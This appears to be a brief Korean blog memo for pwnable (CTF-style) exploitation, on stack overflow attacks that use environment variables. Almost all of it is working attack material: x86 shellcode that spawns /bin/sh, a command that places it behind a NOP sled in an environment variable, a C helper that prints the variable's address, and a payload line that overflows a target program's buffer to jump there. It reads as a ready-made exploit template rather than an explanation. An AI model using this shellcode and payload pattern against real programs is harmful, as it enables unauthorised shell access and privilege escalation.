[SHELLCODE Example]
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
[Export SHELLCODE]
export envname=`python -c 'print "\x90"*SizeOfNOP+"SHELLCODE"'`
[Export ENVaddr]
int main(int argc, char *argv[]) {
char *env = getenv(argv[1]);
printf("ENV addr = %p\n",env);
}
[Payload Example]
./filename `python -c 'print "\x90"*SizeOfBuf+"ENVaddr"'`
'Repository > Library' 카테고리의 다른 글
[Library / Pwnable] Return To Libc Memo (0) | 2015.08.30 |
---|